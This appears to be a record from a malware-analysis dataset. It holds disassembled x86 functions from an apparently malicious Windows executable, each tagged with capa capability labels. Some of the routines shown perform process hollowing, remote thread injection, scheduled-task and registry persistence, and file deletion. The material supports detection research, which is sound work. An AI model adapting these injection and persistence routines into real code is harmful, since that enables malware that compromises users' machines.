joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403ba0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push 0x401428
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x258]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x114], eax
movsx eax, byte [ebp - 0x22c]
cmp eax, 0x2e
je 0x403c4d
mov ecx, dword [ebp - 0x258]
and ecx, 0x10
je 0x403c4d
push 0x5c
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov dword [ebp - 4], eax
push 0x104
push 0
lea eax, [ebp - 0x110]
push eax
call fcn.00405010
add esp, 0xc
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp + 8]
add ecx, 2
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x22c]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x110]
push eax
call fcn.00403ba0
add esp, 4
jmp 0x403cc5
movsx ecx, byte [ebp - 0x22c]
cmp ecx, 0x2e
je 0x403cc5
push 0x40142c
lea edx, [ebp - 0x22c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403cc5
lea eax, [ebp - 0x22c]
push eax
mov ecx, dword [0x411d70]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [0x411d74]
mov eax, dword [0x411d70]
mov dword [edx*4 + 0x411d78], eax
lea ecx, [ebp - 0x22c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [0x411d70]
lea eax, [edx + eax + 1]
mov dword [0x411d70], eax
mov ecx, dword [0x411d74]
add ecx, 1
mov dword [0x411d74], ecx
lea edx, [ebp - 0x258]
push edx
mov eax, dword [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403bcf
mov ecx, dword [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret
Function at 0x403d00
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
mov dword [ebp - 0x364], 0
call fcn.0040b640
cmp eax, 1
jne 0x403d29
mov dword [ebp - 0x21c], 0x2a
jmp 0x403d33
mov dword [ebp - 0x21c], 0x26
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.00405010
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x21c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0x401434
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x368], 0
mov ecx, dword [ebp - 0x368]
cmp dword [ecx*4 + 0x4101a8], 0
je 0x403ed5
push 0x140
push 0
lea edx, [ebp - 0x360]
push edx
call fcn.00405010
add esp, 0xc
lea eax, [ebp - 0x360]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x220], eax
movsx edx, byte [ebp - 0x334]
cmp edx, 0x2e
je 0x403e98
mov eax, dword [ebp - 0x360]
and eax, 0x10
je 0x403e98
push 8
lea ecx, [ebp - 0x334]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x334]
push edx
mov eax, dword [ebp - 0x368]
mov ecx, dword [eax*4 + 0x4101a8]
push ecx
call fcn.0040af60
add esp, 0x10
cmp eax, 1
jne 0x403e98
push 0x5c
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov dword [ebp - 0x10c], eax
push 0x104
push 0
lea eax, [ebp - 0x218]
push eax
call fcn.00405010
add esp, 0xc
mov ecx, dword [ebp - 0x10c]
lea edx, [ebp - 0x108]
sub ecx, edx
add ecx, 2
push ecx
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea edx, [ebp - 0x334]
push edx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x218]
push ecx
call fcn.00403ba0
add esp, 4
mov dword [ebp - 0x364], 1
lea edx, [ebp - 0x360]
push edx
mov eax, dword [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403dc3
mov ecx, dword [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp - 0x368]
add edx, 1
mov dword [ebp - 0x368], edx
jmp 0x403d7f
mov eax, dword [ebp - 0x364]
mov esp, ebp
pop ebp
ret
Function at 0x405060
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push edi
movsx eax, byte [0x413314]
test eax, eax
je 0x40507d
mov eax, 0x413314
jmp 0x405101
push 0
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, 0x12
mov esi, 0x401840
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edx, dword [ebp - 4]
push edx
call fcn.00404220
add esp, 4
mov dword [ebp - 0x5c], 0
jmp 0x4050c3
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 5
jae 0x4050e6
call fcn.004042b0
xor edx, edx
mov ecx, 0x48
div ecx
mov eax, dword [ebp - 0x5c]
mov cl, byte [ebp + edx - 0x58]
mov byte [eax + 0x413314], cl
jmp 0x4050ba
mov byte [0x413319], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00404220
add esp, 4
mov eax, 0x413314
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x405270
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push 0x128
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00405010
add esp, 0xc
mov dword [ebp - 0x128], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x12c], eax
lea ecx, [ebp - 0x128]
push ecx
mov edx, dword [ebp - 0x12c]
push edx
call sub.KERNEL32.dll_Process32First
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4052df
mov edx, dword [ebp - 0x120]
push edx
call fcn.0040ae70
add esp, 4
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x405303
mov edx, dword [ebp - 0x120]
push edx
call fcn.0040ae70
add esp, 4
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4052df
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x405710
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
push 0x10
push 0
lea eax, [ebp - 0x2e8]
push eax
call fcn.00405010
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x338]
push ecx
call fcn.00405010
add esp, 0xc
lea edx, [ebp - 0x2e8]
push edx
lea eax, [ebp - 0x338]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x2f0], edx
mov eax, dword [ebp - 0x2f0]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x2ec], ecx
push 0x4019f4
push 0x401a0c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x412304], eax
mov edx, dword [ebp - 0x2ec]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x2e8]
push ecx
call dword [0x412304]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x2ec]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x2ec]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
mov ecx, dword [ebp - 0x2ec]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x2ec]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 8], 0
jmp 0x405819
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x2ec]
movzx eax, word [edx + 6]
cmp dword [ebp - 8], eax
jae 0x405876
mov ecx, dword [ebp - 0x2f0]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp - 8]
imul eax, eax, 0x28
add eax, dword [ebp + 0xc]
lea ecx, [eax + edx + 0xf8]
mov dword [ebp - 4], ecx
push 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0x2ec]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 4]
add ecx, dword [edx + 0xc]
push ecx
mov eax, dword [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x405810
mov dword [ebp - 0x2d8], 0x10007
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, dword [ebp - 0x2e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0
push 4
mov eax, dword [ebp - 0x2ec]
add eax, 0x34
push eax
mov ecx, dword [ebp - 0x234]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x2e8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x2ec]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 0x2ec]
add ecx, dword [edx + 0x28]
mov dword [ebp - 0x228], ecx
lea eax, [ebp - 0x2d8]
push eax
mov ecx, dword [ebp - 0x2e4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov edx, dword [ebp - 0x2e4]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esp, ebp
pop ebp
ret
Function at 0x405d70
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
call fcn.00405d40
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00405b60
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x405da7
xor eax, eax
jmp 0x405ebc
mov edx, dword [ebp + 8]
sub edx, dword [ebp - 0x114]
add edx, dword [ebp - 4]
mov dword [ebp - 0x110], edx
cmp dword [ebp + 8], 0x408500
jne 0x405e74
push 0xff
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.00405010
add esp, 0xc
push 0xfe
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 4
push 0x1000
push 0x104
push 0
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
je 0x405e72
lea eax, [ebp - 0x118]
push eax
push 0x104
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x405e72
push 0
push 0
mov ecx, dword [ebp - 0x11c]
push ecx
mov edx, dword [ebp - 0x110]
push edx
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x405e72
xor eax, eax
jmp 0x405ebc
jmp 0x405ea2
push 0
push 0
push 0
mov ecx, dword [ebp - 0x110]
push ecx
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x405ea2
xor eax, eax
jmp 0x405ebc
cmp dword [ebp + 0x10], 1
jne 0x405eb7
push 0xffffffffffffffff
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x405ec0
Capabilities:
Enumerate files on windows
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
mov dword [ebp - 0x34c], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 0x348]
push eax
push 0x401ab4
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0xffffffff
jne 0x405f00
jmp 0x405fa7
mov ecx, dword [ebp + 8]
cmp ecx, dword [ebp - 0x328]
je 0x405f7e
push 0x80
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x31c]
push eax
call fcn.00405270
add esp, 4
push 0xff
push 0
lea ecx, [ebp - 0x208]
push ecx
call fcn.00405010
add esp, 0xc
lea edx, [ebp - 0x31c]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x401abc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x348]
push ecx
mov edx, dword [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405f00
mov eax, dword [ebp - 0x350]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret
Function at 0x405fb0
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
lea eax, [ebp - 0x140]
push eax
push 0x401ad0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xffffffff
jne 0x405fdc
jmp 0x406020
push 0x80
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x140]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405fdc
mov edx, dword [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret
Function at 0x407ff0
Capabilities:
Create process on windows
Get common file path
Schedule task via schtasks

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f0
call fcn.00408de0
test eax, eax
jne 0x408007
jmp 0x4081ea
push 0x104
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x150]
push ecx
lea edx, [ebp - 0x5a0]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x402174
lea eax, [ebp - 0x5a0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x402180
lea ecx, [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x498]
push edx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0x402198
lea eax, [ebp - 0x498]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x44
lea ecx, [ebp - 0x48]
push ecx
call fcn.00407f50
push 0x10
lea edx, [ebp - 0x5b0]
push edx
call fcn.00407f50
mov dword [ebp - 0x48], 0x44
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], 0
lea eax, [ebp - 0x150]
push eax
push 0x4021b0
lea ecx, [ebp - 0x390]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x5b0]
push edx
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x390]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
mov edx, dword [ebp - 0x5b0]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x5b4]
push eax
mov ecx, dword [ebp - 0x5b0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [ebp - 0x5b0]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x5b4], 0
jne 0x408125
jmp 0x4081ea
call fcn.00407f80
test eax, eax
jne 0x408185
push 0x3c
lea eax, [ebp - 0x5f0]
push eax
call fcn.00407f50
mov dword [ebp - 0x5f0], 0x3c
mov dword [ebp - 0x5e4], 0x4021d4
lea ecx, [ebp - 0x498]
mov dword [ebp - 0x5e0], ecx
mov dword [ebp - 0x5e8], 0
mov dword [ebp - 0x5d4], 1
lea edx, [ebp - 0x5f0]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x408183
jmp 0x408170
jmp 0x4081ea
lea eax, [ebp - 0x498]
push eax
lea ecx, [ebp - 0x150]
push ecx
push 0x4021e0
lea edx, [ebp - 0x390]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x48]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x390]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
mov eax, dword [ebp - 0x5b0]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x5b0]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x4081f0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
call fcn.00408de0
test eax, eax
jne 0x408207
jmp 0x4083f6
push 0x104
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x150]
push ecx
lea edx, [ebp - 0x498]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x402228
lea eax, [ebp - 0x498]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x402234
lea ecx, [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x44
lea edx, [ebp - 0x48]
push edx
call fcn.00407f50
push 0x10
lea eax, [ebp - 0x4a8]
push eax
call fcn.00407f50
mov dword [ebp - 0x48], 0x44
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], 0
lea ecx, [ebp - 0x150]
push ecx
push 0x40224c
lea edx, [ebp - 0x390]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x4a8]
push eax
lea ecx, [ebp - 0x48]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x390]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
mov eax, dword [ebp - 0x4a8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x4a8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x150]
push edx
push 0x402284
lea eax, [ebp - 0x390]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x4a8]
push ecx
lea edx, [ebp - 0x48]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x390]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x4a8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 0x4a8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x150]
push eax
push 0x4022bc
lea ecx, [ebp - 0x390]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x4a8]
push edx
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x390]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
mov edx, dword [ebp - 0x4a8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x4a8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x150]
push ecx
push 0x4022f4
lea edx, [ebp - 0x390]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x4a8]
push eax
lea ecx, [ebp - 0x48]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x390]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
mov eax, dword [ebp - 0x4a8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x4a8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x408d30
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
call fcn.00408de0
test eax, eax
je 0x408d47
jmp 0x408dcd
lea eax, [ebp - 0x110]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0x4026d8
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 4]
call fcn.00409a40
push 0xf003f
push 0x4026f0
push 0x80000002
lea ecx, [ebp - 4]
call fcn.00409a70
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
lea eax, [ebp - 0x110]
push eax
push 1
push 0
push 0x402728
lea ecx, [ebp - 4]
call fcn.00409a60
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp - 4]
call fcn.00409ac0
lea ecx, [ebp - 4]
call fcn.00409af0
mov esp, ebp
pop ebp
ret

Function at 0x408de0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [ebp - 0x98], 0x94
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x94], 6
jb 0x408e10
mov eax, 1
jmp 0x408e12
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x408f80
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp dword [ebp + 0xc], 0
je 0x408fa1
push 0
push 7
mov eax, dword [ebp + 0x10]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
jmp 0x408ff5
push 0
push 0x24
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov byte [ebp - 0x105], 0
cmp dword [ebp + 8], 0
je 0x408fdc
lea edx, [ebp - 0x108]
push edx
push 0x402740
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x408ff5
lea ecx, [ebp - 0x108]
push ecx
push 0x402780
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x409360
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
call fcn.00408de0
mov dword [ebp - 8], eax
push 0x412308
push 1
mov eax, dword [ebp - 8]
push eax
call fcn.00408f80
add esp, 0xc
push 0x4120b0
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.00408f80
add esp, 0xc
lea edx, [ebp - 4]
push edx
push 0
push 0x412308
push 0x408e20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x4120b0
push 0x408e20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
push 0xffffffffffffffff
push 1
lea ecx, [ebp - 0x10]
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x4097b0
Capabilities:
Delete file
Move file
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0x4028d0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4028e0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 9
lea ecx, [ebp - 0x224]
push ecx
call fcn.0040b7c0
add esp, 8
mov byte [ebp - 0x21b], 0
push 0x4028ec
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x80
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
cmp eax, 1
je 0x409909
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x409909
xor edx, edx
mov dword [ebp - 0x248], edx
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x238], edx
mov dword [ebp - 0x234], edx
mov dword [ebp - 0x230], edx
mov word [ebp - 0x22c], dx
mov dword [ebp - 0x244], 3
mov word [ebp - 0x238], 0x414
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x228], eax
mov ecx, dword [ebp - 0x228]
mov byte [ebp + ecx - 0x210], 0
lea edx, [ebp - 0x210]
mov dword [ebp - 0x240], edx
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x4099f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 0
jmp 0x409a08
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 5
jge 0x409a36
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0x409200
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
push 0xffffffffffffffff
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x4099ff
mov esp, ebp
pop ebp
ret